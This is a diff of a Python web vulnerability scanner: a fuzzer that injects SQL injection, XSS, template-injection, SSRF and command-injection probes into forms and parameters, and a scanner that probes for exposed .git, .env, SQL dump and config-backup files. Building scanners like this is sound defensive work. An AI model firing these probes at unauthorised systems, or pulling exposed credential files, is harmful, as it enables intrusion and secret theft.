| 373 |
+
if body_true and body_false and len(body_true) != len(body_false):
|
| 374 |
+
vector_desc = f"{method} {url} → parameter '{param_name}'"
|
| 375 |
+
self._sqli_found += 1
|
| 376 |
+
self.log("CRITICAL", f"[Fuzzer] BLIND SQL INJECTION DETECTED! Vector: {vector_desc}")
|
| 377 |
+
self.add_vuln(
|
| 378 |
+
title="SQL Injection — Boolean-Based Blind",
|
| 379 |
+
severity="Critical", category="Injection", cvss_score=9.8,
|
| 380 |
+
description=(
|
| 381 |
+
f"A boolean-based blind SQL injection vulnerability was confirmed on {vector_desc}.\n"
|
| 382 |
+
f"Injecting `' AND '1'='1` and `' AND '1'='2` produced different response lengths "
|
| 383 |
+
f"({len(body_true)} vs {len(body_false)} bytes), indicating the application's logic "
|
| 384 |
+
f"is influenced by the SQL query response.\n\n"
|
| 385 |
+
f"Impact: An attacker can read arbitrary database schema and data by parsing conditional true/false responses."
|
| 386 |
+
),
|
| 387 |
+
remediation=(
|
| 388 |
+
"1. Use parameterised queries or prepared statements exclusively.\n"
|
| 389 |
+
"2. Implement strict input validation on all parameters.\n"
|
| 390 |
+
"3. Apply WAF protections to detect logical inference attacks."
|
| 391 |
+
)
|
| 392 |
+
)
|
| 393 |
+
return True
|
| 394 |
+
except Exception as e:
|
| 395 |
+
self.log("ERROR", f"[Fuzzer] _check_boolean_sqli error: {e}")
|
| 396 |
+
return False
|
| 397 |
+
|
| 398 |
+
# ── XSS Detection ─────────────────────────────────────────────────
|
| 399 |
+
def _check_xss(self, body, payload, vector_desc):
|
| 400 |
+
# Check if the exact payload is reflected unsanitised in the response
|
| 401 |
+
if payload in body:
|
| 402 |
+
self._xss_found += 1
|
| 403 |
+
self.log("CRITICAL",
|
| 404 |
+
f"[Fuzzer] REFLECTED XSS CONFIRMED! Vector: {vector_desc} | "
|
| 405 |
+
f"Payload: {payload[:60]}")
|
| 406 |
+
self.add_vuln(
|
| 407 |
+
title="Reflected Cross-Site Scripting (XSS)",
|
| 408 |
+
severity="High", category="Injection", cvss_score=8.1,
|
| 409 |
+
description=(
|
| 410 |
+
f"A reflected XSS vulnerability was confirmed on {vector_desc}.\n"
|
| 411 |
+
f"Payload: `{payload}`\n"
|
| 412 |
+
f"The payload was reflected in the response body without sanitisation, "
|
| 413 |
+
f"allowing arbitrary JavaScript execution in the victim's browser.\n\n"
|
| 414 |
+
f"Impact: Session hijacking, credential theft, phishing, defacement, "
|
| 415 |
+
f"and malware distribution."
|
| 416 |
+
),
|
| 417 |
+
remediation=(
|
| 418 |
+
"1. ENCODE ALL OUTPUT — use context-aware output encoding:\n"
|
| 419 |
+
" HTML: < > & " '\n"
|
| 420 |
+
" JavaScript: \\xHH escaping\n"
|
| 421 |
+
" URL: percent-encoding\n"
|
| 422 |
+
"2. Implement Content Security Policy (CSP) headers:\n"
|
| 423 |
+
" Content-Security-Policy: default-src 'self'; script-src 'self'\n"
|
| 424 |
+
"3. Use framework auto-escaping (React JSX, Django templates, Jinja2).\n"
|
| 425 |
+
"4. Validate and sanitise input on the server side.\n"
|
| 426 |
+
"5. Set HttpOnly and Secure flags on session cookies."
|
| 427 |
+
),
|
| 428 |
+
)
|
| 429 |
+
return True
|
| 430 |
+
|
| 431 |
+
# Check for SSTI (Server-Side Template Injection)
|
| 432 |
+
if payload in ('{{7*7}}', '${7*7}') and '49' in body:
|
| 433 |
+
self._xss_found += 1
|
| 434 |
+
self.log("CRITICAL",
|
| 435 |
+
f"[Fuzzer] SSTI DETECTED! Template expression evaluated. Vector: {vector_desc}")
|
| 436 |
+
self.add_vuln(
|
| 437 |
+
title="Server-Side Template Injection (SSTI)",
|
| 438 |
+
severity="Critical", category="Injection", cvss_score=9.8,
|
| 439 |
+
description=(
|
| 440 |
+
f"A Server-Side Template Injection was confirmed on {vector_desc}.\n"
|
| 441 |
+
f"The expression `{payload}` was evaluated to `49` by the server template engine.\n\n"
|
| 442 |
+
f"Impact: SSTI can lead to Remote Code Execution (RCE), allowing complete server compromise."
|
| 443 |
+
),
|
| 444 |
+
remediation=(
|
| 445 |
+
"1. Never pass user input directly into template rendering.\n"
|
| 446 |
+
"2. Use a sandboxed template engine or disable dangerous built-in functions.\n"
|
| 447 |
+
"3. Upgrade to the latest template engine version with SSTI protections."
|
| 448 |
+
),
|
| 449 |
+
)
|
| 450 |
+
return True
|
| 451 |
+
|
| 452 |
+
return False
|
| 453 |
+
|
| 454 |
+
# ── Form Fuzzing ──────────────────────────────────────────────────
|
| 455 |
+
def _fuzz_form(self, form, base_url):
|
| 456 |
+
action = form["action"]
|
| 457 |
+
method = form["method"]
|
| 458 |
+
|
| 459 |
+
if action.startswith("http"):
|
| 460 |
+
target_url = action
|
| 461 |
+
elif action.startswith("/"):
|
| 462 |
+
parsed = urllib.parse.urlparse(base_url)
|
| 463 |
+
target_url = f"{parsed.scheme}://{parsed.netloc}{action}"
|
| 464 |
+
elif action:
|
| 465 |
+
target_url = base_url.rstrip("/") + "/" + action
|
| 466 |
+
else:
|
| 467 |
+
target_url = base_url
|
| 468 |
+
|
| 469 |
+
fuzzable_inputs = [i for i in form["inputs"] if i["type"] != "hidden"]
|
| 470 |
+
if not fuzzable_inputs:
|
| 471 |
+
return
|
| 472 |
+
|
| 473 |
+
self.log("INFO", f"[Fuzzer] Testing form: {method} {target_url} — {len(fuzzable_inputs)} input(s)")
|
| 474 |
+
|
| 475 |
+
for inp in fuzzable_inputs:
|
| 476 |
+
input_name = inp["name"]
|
| 477 |
+
vector_desc = f"Form {method} {target_url} → input '{input_name}'"
|
| 478 |
+
|
| 479 |
+
# SQLi payloads
|
| 480 |
+
sqli_detected = False
|
| 481 |
+
for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
|
| 482 |
+
self._tested_vectors += 1
|
| 483 |
+
data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
|
| 484 |
+
data[input_name] = payload
|
| 485 |
+
|
| 486 |
+
if method == "POST":
|
| 487 |
+
body, status = self._post(target_url, data)
|
| 488 |
+
else:
|
| 489 |
+
qs = urllib.parse.urlencode(data)
|
| 490 |
+
body, status = self._get(f"{target_url}?{qs}")
|
| 491 |
+
|
| 492 |
+
if body and self._check_sqli(body, payload, vector_desc):
|
| 493 |
+
sqli_detected = True
|
| 494 |
+
break # One confirmed finding per input is sufficient
|
| 495 |
+
|
| 496 |
+
if not sqli_detected:
|
| 497 |
+
self._check_boolean_sqli(target_url, input_name, method, form["inputs"])
|
| 498 |
+
|
| 499 |
+
# Time-based blind SQLi — always active (no response difference, timing-only)
|
| 500 |
+
if not sqli_detected:
|
| 501 |
+
self._check_time_based_sqli(target_url, input_name, method, form["inputs"])
|
| 502 |
+
|
| 503 |
+
# XSS payloads
|
| 504 |
+
for payload in XSS_PAYLOADS[:self._xss_limit()]:
|
| 505 |
+
self._tested_vectors += 1
|
| 506 |
+
data = {i["name"]: (i["value"] or "test") for i in form["inputs"]}
|
| 507 |
+
data[input_name] = payload
|
| 508 |
+
|
| 509 |
+
if method == "POST":
|
| 510 |
+
body, status = self._post(target_url, data)
|
| 511 |
+
else:
|
| 512 |
+
qs = urllib.parse.urlencode(data)
|
| 513 |
+
body, status = self._get(f"{target_url}?{qs}")
|
| 514 |
+
|
| 515 |
+
if body and self._check_xss(body, payload, vector_desc):
|
| 516 |
+
break
|
| 517 |
+
|
| 518 |
+
# ── URL Parameter Fuzzing ─────────────────────────────────────────
|
| 519 |
+
def _fuzz_url_params(self, url):
|
| 520 |
+
parsed = urllib.parse.urlparse(url)
|
| 521 |
+
params = urllib.parse.parse_qs(parsed.query)
|
| 522 |
+
if not params:
|
| 523 |
+
return
|
| 524 |
+
|
| 525 |
+
self.log("INFO", f"[Fuzzer] Testing {len(params)} URL parameter(s) on {parsed.path}")
|
| 526 |
+
|
| 527 |
+
for param_name in params:
|
| 528 |
+
vector_desc = f"URL param '{param_name}' on {parsed.path}"
|
| 529 |
+
|
| 530 |
+
sqli_detected = False
|
| 531 |
+
for payload in SQLI_PAYLOADS[:self._sqli_limit()]:
|
| 532 |
+
self._tested_vectors += 1
|
| 533 |
+
test_params = {k: v[0] for k, v in params.items()}
|
| 534 |
+
test_params[param_name] = payload
|
| 535 |
+
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
|
| 536 |
+
|
| 537 |
+
body, status = self._get(test_url)
|
| 538 |
+
if body and self._check_sqli(body, payload, vector_desc):
|
| 539 |
+
sqli_detected = True
|
| 540 |
+
break
|
| 541 |
+
|
| 542 |
+
if not sqli_detected:
|
| 543 |
+
self._check_boolean_sqli(url, param_name, 'GET')
|
| 544 |
+
|
| 545 |
+
# Time-based blind SQLi — always active
|
| 546 |
+
if not sqli_detected:
|
| 547 |
+
self._check_time_based_sqli(url, param_name, 'GET')
|
| 548 |
+
|
| 549 |
+
for payload in XSS_PAYLOADS[:self._xss_limit()]:
|
| 550 |
+
self._tested_vectors += 1
|
| 551 |
+
test_params = {k: v[0] for k, v in params.items()}
|
| 552 |
+
test_params[param_name] = payload
|
| 553 |
+
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
|
| 554 |
+
|
| 555 |
+
body, status = self._get(test_url)
|
| 556 |
+
if body and self._check_xss(body, payload, vector_desc):
|
| 557 |
+
break
|
| 558 |
+
|
| 559 |
+
# ── Red-Team Payload Probing ──────────────────────────────────────
|
| 560 |
+
def _check_ssrf(self, body, payload, vector_desc):
|
| 561 |
+
indicators = ["ami-id", "instance-id", "root:x:0:0", "localhost", "127.0.0.1"]
|
| 562 |
+
if any(ind in body for ind in indicators):
|
| 563 |
+
self.log("CRITICAL", f"[Fuzzer] SSRF INDICATOR! Vector: {vector_desc} | Payload: {payload[:60]}")
|
| 564 |
+
self.add_vuln(
|
| 565 |
+
title="Server-Side Request Forgery (SSRF)",
|
| 566 |
+
severity="Critical", category="Injection", cvss_score=9.1,
|
| 567 |
+
description=(
|
| 568 |
+
f"A potential SSRF vulnerability was detected on {vector_desc}.\n"
|
| 569 |
+
f"Payload: `{payload}`\n"
|
| 570 |
+
f"The server response contained internal network or metadata indicators, "
|
| 571 |
+
f"suggesting the application fetched attacker-controlled URLs server-side.\n\n"
|
| 572 |
+
f"Impact: Access to internal services, cloud metadata theft, and lateral movement."
|
| 573 |
+
),
|
| 574 |
+
remediation=(
|
| 575 |
+
"1. Block requests to private IP ranges and link-local addresses.\n"
|
| 576 |
+
"2. Use an allowlist of permitted outbound domains.\n"
|
| 577 |
+
"3. Disable URL fetching features or proxy through a hardened egress gateway."
|
| 578 |
+
),
|
| 579 |
+
)
|
| 580 |
+
return True
|
| 581 |
+
return False
|
| 582 |
+
|
| 583 |
+
def _check_cmd_injection(self, body, payload, vector_desc):
|
| 584 |
+
cmd_indicators = ["uid=", "gid=", "groups=", "[boot loader]", "root:", "www-data"]
|
| 585 |
+
if any(ind in body for ind in cmd_indicators):
|
| 586 |
+
self.log("CRITICAL", f"[Fuzzer] COMMAND INJECTION! Vector: {vector_desc} | Payload: {payload[:60]}")
|
| 587 |
+
self.add_vuln(
|
| 588 |
+
title="OS Command Injection",
|
| 589 |
+
severity="Critical", category="Injection", cvss_score=9.8,
|
| 590 |
+
description=(
|
| 591 |
+
f"A command injection vulnerability was detected on {vector_desc}.\n"
|
| 592 |
+
f"Payload: `{payload}`\n"
|
| 593 |
+
f"The response contained OS-level output, indicating shell command execution.\n\n"
|
| 594 |
+
f"Impact: Full server compromise via arbitrary command execution."
|
| 595 |
+
),
|
| 596 |
+
remediation=(
|
| 597 |
+
"1. Never pass user input to shell interpreters.\n"
|
| 598 |
+
"2. Use language-native APIs instead of os.system/subprocess with user data.\n"
|
| 599 |
+
"3. Apply strict input validation and run processes with least privilege."
|
| 600 |
+
),
|
| 601 |
+
)
|
| 602 |
+
return True
|
| 603 |
+
return False
|
| 604 |
+
|
| 605 |
+
def _check_time_based_sqli(self, url, param_name, method='GET', form_inputs=None):
|
| 606 |
+
for payload in TIME_BASED_SQLI[:3]:
|
| 607 |
+
try:
|
| 608 |
+
start = time.time()
|
| 609 |
+
if method.upper() == 'GET':
|
| 610 |
+
parsed = urllib.parse.urlparse(url)
|
| 611 |
+
params = urllib.parse.parse_qs(parsed.query)
|
| 612 |
+
test_params = {k: v[0] for k, v in params.items()}
|
| 613 |
+
test_params[param_name] = payload
|
| 614 |
+
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
|
| 615 |
+
self._get(test_url, timeout=12)
|
| 616 |
+
else:
|
| 617 |
+
data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
|
| 618 |
+
data[param_name] = payload
|
| 619 |
+
self._post(url, data, timeout=12)
|
| 620 |
+
elapsed = time.time() - start
|
| 621 |
+
if elapsed >= 4.5:
|
| 622 |
+
vector_desc = f"{method} {url} → parameter '{param_name}'"
|
| 623 |
+
self._sqli_found += 1
|
| 624 |
+
self.log("CRITICAL", f"[Fuzzer] TIME-BASED SQLi! Vector: {vector_desc} ({elapsed:.1f}s delay)")
|
| 625 |
+
self.add_vuln(
|
| 626 |
+
title="SQL Injection — Time-Based Blind",
|
| 627 |
+
severity="Critical", category="Injection", cvss_score=9.8,
|
| 628 |
+
description=(
|
| 629 |
+
f"A time-based blind SQL injection was detected on {vector_desc}.\n"
|
| 630 |
+
f"Payload: `{payload}` caused a {elapsed:.1f}s response delay.\n\n"
|
| 631 |
+
f"Impact: Attackers can exfiltrate data bit-by-bit using timing side-channels."
|
| 632 |
+
),
|
| 633 |
+
remediation=(
|
| 634 |
+
"1. Use parameterised queries exclusively.\n"
|
| 635 |
+
"2. Set aggressive query timeouts at the database layer.\n"
|
| 636 |
+
"3. Deploy WAF rules for sleep/waitfor/benchmark patterns."
|
| 637 |
+
),
|
| 638 |
+
)
|
| 639 |
+
return True
|
| 640 |
+
except Exception as e:
|
| 641 |
+
self.log("ERROR", f"[Fuzzer] _check_time_based_sqli error: {e}")
|
| 642 |
+
continue
|
| 643 |
+
return False
|
| 644 |
+
|
| 645 |
+
def _fuzzer_req(self, url, params, headers=None):
|
| 646 |
+
data = urllib.parse.urlencode(params).encode("utf-8") if params else None
|
| 647 |
+
merged = {"Content-Type": "application/x-www-form-urlencoded"}
|
| 648 |
+
if headers:
|
| 649 |
+
merged.update(headers)
|
| 650 |
+
body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
|
| 651 |
+
return body or "", status
|
| 652 |
+
|
| 653 |
+
def _context_fuzz(self):
|
| 654 |
+
crawl_results = self.discovery_context or {"forms": [], "urls": []}
|
| 655 |
+
all_params = {}
|
| 656 |
+
for form in crawl_results.get("forms", []):
|
| 657 |
+
for inp in form.get("inputs", []):
|
| 658 |
+
if inp.get("type") != "hidden":
|
| 659 |
+
all_params[inp["name"]] = inp.get("value", "test")
|
| 660 |
+
for url_entry in crawl_results.get("urls", []):
|
| 661 |
+
url = url_entry.get("url") if isinstance(url_entry, dict) else url_entry
|
| 662 |
+
parsed = urllib.parse.urlparse(url)
|
| 663 |
+
qs_params = urllib.parse.parse_qs(parsed.query)
|
| 664 |
+
for k, v in qs_params.items():
|
| 665 |
+
if k not in all_params:
|
| 666 |
+
all_params[k] = v[0] if v else "test"
|
| 667 |
+
|
| 668 |
+
if not all_params:
|
| 669 |
+
self.log("INFO", "[Fuzzer] No parameters discovered for context-aware fuzzing")
|
| 670 |
+
return
|
| 671 |
+
|
| 672 |
+
self.log("INFO", f"[Fuzzer] Context-aware fuzzing {len(all_params)} parameter(s) with {sum(len(v) for v in TYPE_MUTATIONS.values())} mutation(s)")
|
| 673 |
+
self._fuzzer.fuzz(self.target, all_params)
|
| 674 |
+
baseline_body, _ = self._make_request(self.target, timeout=8)
|
| 675 |
+
baseline_length = len(baseline_body or "")
|
| 676 |
+
anomalies = self._fuzzer.anomalies(baseline_length)
|
| 677 |
+
for anom in anomalies:
|
| 678 |
+
self.log("WARNING", f"[Fuzzer] Context-aware anomaly — {anom['param']} ({anom['type']}) mutation={anom['mutation']} status={anom['status']} length={anom['length']}")
|
| 679 |
+
self.add_vuln(
|
| 680 |
+
title=f"Context-Aware Fuzzer: Anomalous '{anom['param']}' ({anom['mutation']})",
|
| 681 |
+
severity="Medium",
|
| 682 |
+
category="Injection",
|
| 683 |
+
cvss_score=6.5,
|
| 684 |
+
description=(
|
| 685 |
+
f"Parameter '{anom['param']}' (classified as '{anom['type']}') "
|
| 686 |
+
f"returned an anomalous response when mutated with '{anom['mutation']}' "
|
| 687 |
+
f"(value: {anom['value']}). "
|
| 688 |
+
f"HTTP {anom['status']}, response length {anom['length']} bytes."
|
| 689 |
+
),
|
| 690 |
+
remediation="Validate and sanitize all input parameters server-side. Use parameterized queries, input type enforcement, and context-aware output encoding.",
|
| 691 |
+
cwe_ids=["CWE-20"],
|
| 692 |
+
owasp_category="A03:2021 – Injection",
|
| 693 |
+
)
|
| 694 |
+
|
| 695 |
+
def _fuzz_red_team_params(self, url, params, method='GET', form_inputs=None):
|
| 696 |
+
ssrf_params = {"url", "redirect", "next", "return", "ref", "callback", "dest", "target", "uri", "path", "file"}
|
| 697 |
+
cmd_params = {"cmd", "command", "exec", "run", "ping", "host", "ip", "query"}
|
| 698 |
+
|
| 699 |
+
for param_name in params:
|
| 700 |
+
vector_base = f"{method} {url} → parameter '{param_name}'"
|
| 701 |
+
if param_name.lower() in ssrf_params:
|
| 702 |
+
for payload in SSRF_PAYLOADS:
|
| 703 |
+
self._tested_vectors += 1
|
| 704 |
+
if method.upper() == 'GET':
|
| 705 |
+
parsed = urllib.parse.urlparse(url)
|
| 706 |
+
test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
|
| 707 |
+
test_params[param_name] = payload
|
| 708 |
+
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
|
| 709 |
+
body, _ = self._get(test_url)
|
| 710 |
+
else:
|
| 711 |
+
data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
|
| 712 |
+
data[param_name] = payload
|
| 713 |
+
body, _ = self._post(url, data)
|
| 714 |
+
if body and self._check_ssrf(body, payload, vector_base):
|
| 715 |
+
break
|
| 716 |
+
|
| 717 |
+
if param_name.lower() in cmd_params:
|
| 718 |
+
for payload in CMD_INJECTION_PAYLOADS[:3]:
|
| 719 |
+
self._tested_vectors += 1
|
| 720 |
+
if method.upper() == 'GET':
|
| 721 |
+
parsed = urllib.parse.urlparse(url)
|
| 722 |
+
test_params = {k: v[0] for k, v in urllib.parse.parse_qs(parsed.query).items()}
|
| 723 |
+
test_params[param_name] = payload
|
| 724 |
+
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(test_params)}"
|
| 725 |
+
body, _ = self._get(test_url)
|
| 726 |
+
else:
|
| 727 |
+
data = {i["name"]: (i["value"] or "test") for i in (form_inputs or [])}
|
| 728 |
+
data[param_name] = payload
|
| 729 |
+
body, _ = self._post(url, data)
|
| 730 |
+
if body and self._check_cmd_injection(body, payload, vector_base):
|
| 731 |
+
break
|
| 732 |
+
|
| 733 |
+
if self.red_team:
|
| 734 |
+
self._check_time_based_sqli(url, param_name, method, form_inputs)
|
| 735 |
+
else:
|
| 736 |
+
# Always do time-based on SSRF/cmd-named params too
|
| 737 |
+
self._check_time_based_sqli(url, param_name, method, form_inputs)
|
| 738 |
+
|
| 739 |
+
# ── Common Parameter Probing ──────────────────────────────────────
|
| 740 |
+
def _probe_common_params(self):
|
| 741 |
+
"""Inject into common query parameter names even if not found in HTML."""
|
| 742 |
+
common_params = ["id", "q", "search", "query", "page", "name", "user",
|
| 743 |
+
"email", "redirect", "url", "next", "return", "ref",
|
| 744 |
+
"callback", "cat", "category", "item", "product"]
|
| 745 |
+
|
| 746 |
+
base = self.target.rstrip("/")
|
| 747 |
+
self.log("INFO", f"[Fuzzer] Probing {len(common_params)} common parameters for blind injection...")
|
| 748 |
+
|
| 749 |
+
for param in common_params:
|
| 750 |
+
# Quick SQLi probe
|
| 751 |
+
for payload in SQLI_PAYLOADS[:3]:
|
| 752 |
+
self._tested_vectors += 1
|
| 753 |
+
test_url = f"{base}?{param}={urllib.parse.quote(payload)}"
|
| 754 |
+
body, status = self._get(test_url, timeout=5)
|
| 755 |
+
if body and self._check_sqli(body, payload, f"Param probe ?{param}="):
|
| 756 |
+
break
|
| 757 |
+
|
| 758 |
+
# Quick XSS probe
|
| 759 |
+
probe_payload = '<script>alert(1)</script>'
|
| 760 |
+
self._tested_vectors += 1
|
| 761 |
+
test_url = f"{base}?{param}={urllib.parse.quote(probe_payload)}"
|
| 762 |
+
body, status = self._get(test_url, timeout=5)
|
| 763 |
+
if body:
|
| 764 |
+
self._check_xss(body, probe_payload, f"Param probe ?{param}=")
|
| 765 |
+
|
| 766 |
+
if self.red_team:
|
| 767 |
+
self._fuzz_red_team_params(
|
| 768 |
+
f"{base}?{param}=test",
|
| 769 |
+
{param: ["test"]},
|
| 770 |
+
'GET'
|
| 771 |
+
)
|
| 772 |
+
|
| 773 |
+
# ── Main Entry Point ──────────────────────────────────────────────
|
| 774 |
+
def run(self):
|
| 775 |
+
self.log("INFO", f"[Fuzzer] Starting recursive XSS & SQLi fuzzing on {self.target}...")
|
| 776 |
+
mode = "RED-TEAM" if self.red_team else "STANDARD"
|
| 777 |
+
self.log("INFO",
|
| 778 |
+
f"[Fuzzer] Mode: {mode} | {len(SQLI_PAYLOADS)} SQLi + {len(XSS_PAYLOADS)} XSS payloads | "
|
| 779 |
+
f"crawl depth: {self.max_depth}")
|
| 780 |
+
|
| 781 |
+
crawl_results = self.discovery_context or {"forms": [], "urls": []}
|
| 782 |
+
|
| 783 |
+
try:
|
| 784 |
+
# Step 2: Fuzz all discovered forms
|
| 785 |
+
for form in crawl_results["forms"]:
|
| 786 |
+
self._fuzz_form(form, form["url"])
|
| 787 |
+
if self.red_team and form["inputs"]:
|
| 788 |
+
param_names = [i["name"] for i in form["inputs"] if i["type"] != "hidden"]
|
| 789 |
+
if param_names:
|
| 790 |
+
self._fuzz_red_team_params(
|
| 791 |
+
form["action"], param_names, form["method"], form["inputs"]
|
| 792 |
+
)
|
| 793 |
+
|
| 794 |
+
# Step 3: Fuzz all discovered URLs (parameters)
|
| 795 |
+
for url_entry in crawl_results["urls"]:
|
| 796 |
+
self._fuzz_url_params(url_entry["url"])
|
| 797 |
+
if self.red_team:
|
| 798 |
+
parsed = urllib.parse.urlparse(url_entry["url"])
|
| 799 |
+
params = urllib.parse.parse_qs(parsed.query)
|
| 800 |
+
if params:
|
| 801 |
+
self._fuzz_red_team_params(url_entry["url"], params)
|
| 802 |
+
|
| 803 |
+
except Exception as e:
|
| 804 |
+
self.log("WARNING", f"[Fuzzer] Unexpected error during scan: {str(e)}")
|
| 805 |
+
|
| 806 |
+
# Step 4: Probe common parameter names on the base target URL
|
| 807 |
+
self._probe_common_params()
|
| 808 |
+
|
| 809 |
+
# Step 5: Context-aware fuzzing
|
| 810 |
+
self._context_fuzz()
|
| 811 |
+
|
| 812 |
+
# Summary
|
| 813 |
+
self.log("SUCCESS" if not self.vulns else "WARNING",
|
| 814 |
+
f"[Fuzzer] Complete — {self._tested_vectors} vectors tested | "
|
| 815 |
+
f"{self._sqli_found} SQLi | {self._xss_found} XSS confirmed")
|
| 816 |
+
return self.vulns
|
| 817 |
+
|
| 818 |
+
if __name__ == "__main__":
|
| 819 |
+
from scanners.fuzzer_scanner import FuzzerScanner
|
| 820 |
+
|
| 821 |
+
print("=== Running direct test of FuzzerScanner ===")
|
| 822 |
+
scanner = FuzzerScanner(
|
| 823 |
+
scan_id="direct-test-fuzzer",
|
| 824 |
+
target="http://httpbin.org",
|
| 825 |
+
domain="httpbin.org",
|
| 826 |
+
max_depth=1
|
| 827 |
+
)
|
| 828 |
+
|
| 829 |
+
# Custom logger for console output
|
| 830 |
+
def console_log(level, msg):
|
| 831 |
+
print(f"[{level}] {msg}")
|
| 832 |
+
scanner.log = console_log
|
| 833 |
+
|
| 834 |
+
findings = scanner.run()
|
| 835 |
+
print("\n=== Scan Complete ===")
|
| 836 |
+
print(f"Vulnerabilities found: {len(findings)}")
|
| 837 |
+
for vuln in findings:
|
| 838 |
+
print(f" - [{vuln['severity']}] {vuln['title']}")
|
backend/scanners/git_exposure_scanner.py
ADDED
|
@@ -0,0 +1,132 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
git_exposure_scanner.py — Git Repository Exposure Scanner
|
| 3 |
+
==========================================================
|
| 4 |
+
Checks for publicly accessible .git directories and version control artifacts
|
| 5 |
+
that could expose source code, commit history, credentials, and configuration.
|
| 6 |
+
|
| 7 |
+
Checks:
|
| 8 |
+
- .git/HEAD, .git/config, .git/COMMIT_EDITMSG, .git/index
|
| 9 |
+
- .gitignore, .gitmodules, .gitattributes
|
| 10 |
+
- Common VCS metadata files (SVN, Mercurial)
|
| 11 |
+
- Source code backup files
|
| 12 |
+
- CI/CD configuration leaks
|
| 13 |
+
"""
|
| 14 |
+
import re, urllib.request, urllib.error
|
| 15 |
+
from scanners.base_scanner import BaseScanner
|
| 16 |
+
from scanners.core.signatures import matches_signature
|
| 17 |
+
|
| 18 |
+
# Format: (path, expected_content_regex, display_name, severity, cvss)
|
| 19 |
+
GIT_PROBES = [
|
| 20 |
+
("/.git/HEAD", r"ref:\s*refs/heads/", "Git HEAD reference", "Critical", 9.8),
|
| 21 |
+
("/.git/config", r"\[core\]|\[remote", "Git repository config", "Critical", 9.8),
|
| 22 |
+
("/.git/COMMIT_EDITMSG",r".*", "Git commit message", "High", 8.5),
|
| 23 |
+
("/.git/index", r"DIRC", "Git index (binary)", "Critical", 9.8),
|
| 24 |
+
("/.git/FETCH_HEAD", r".*", "Git FETCH_HEAD", "High", 8.0),
|
| 25 |
+
("/.git/packed-refs", r"refs/", "Git packed refs", "High", 8.0),
|
| 26 |
+
("/.git/logs/HEAD", r"commit|checkout", "Git reflog", "High", 8.0),
|
| 27 |
+
("/.gitignore", r".*", ".gitignore file", "Medium", 5.3),
|
| 28 |
+
("/.gitmodules", r"\[submodule", ".gitmodules (submodule list)","High", 7.5),
|
| 29 |
+
("/.gitattributes", r".*", ".gitattributes", "Low", 3.1),
|
| 30 |
+
# SVN
|
| 31 |
+
("/.svn/entries", r"https?://|svn://", "SVN entries file", "High", 8.0),
|
| 32 |
+
("/.svn/wc.db", r"SQLite", "SVN working copy DB", "Critical", 9.0),
|
| 33 |
+
# Mercurial
|
| 34 |
+
("/.hg/hgrc", r"\[paths\]", "Mercurial config", "High", 8.0),
|
| 35 |
+
# CI / CD secrets
|
| 36 |
+
("/.travis.yml", r"language:|script:", "Travis CI config", "Medium", 5.3),
|
| 37 |
+
("/.env", r"[A-Z_]+=", ".env file (env variables)", "Critical", 9.9),
|
| 38 |
+
("/.env.local", r"[A-Z_]+=", ".env.local file", "Critical", 9.9),
|
| 39 |
+
("/.env.production", r"[A-Z_]+=", ".env.production file", "Critical", 9.9),
|
| 40 |
+
("/Dockerfile", r"FROM |RUN |CMD ", "Dockerfile exposed", "Medium", 5.3),
|
| 41 |
+
("/docker-compose.yml", r"services:|version:", "docker-compose config", "Medium", 5.8),
|
| 42 |
+
("/Jenkinsfile", r"pipeline|stage", "Jenkinsfile exposed", "Medium", 5.3),
|
| 43 |
+
("/.github/workflows/", r"on:|jobs:", "GitHub Actions workflows", "Low", 3.5),
|
| 44 |
+
# Backup / source files
|
| 45 |
+
("/backup.sql", r"INSERT INTO|CREATE TABLE","SQL dump exposed", "Critical", 9.9),
|
| 46 |
+
("/dump.sql", r"INSERT INTO|CREATE TABLE","SQL dump exposed", "Critical", 9.9),
|
| 47 |
+
("/config.php.bak", r".*", "PHP config backup", "High", 8.5),
|
| 48 |
+
("/wp-config.php.bak", r".*", "WordPress config backup", "Critical", 9.8),
|
| 49 |
+
]
|
| 50 |
+
|
| 51 |
+
|
| 52 |
+
class GitExposureScanner(BaseScanner):
|
| 53 |
+
SCANNER_NAME = "Git / VCS Exposure Scanner"
|
| 54 |
+
_SCANNER_KEY = "git_exposure"
|
| 55 |
+
|
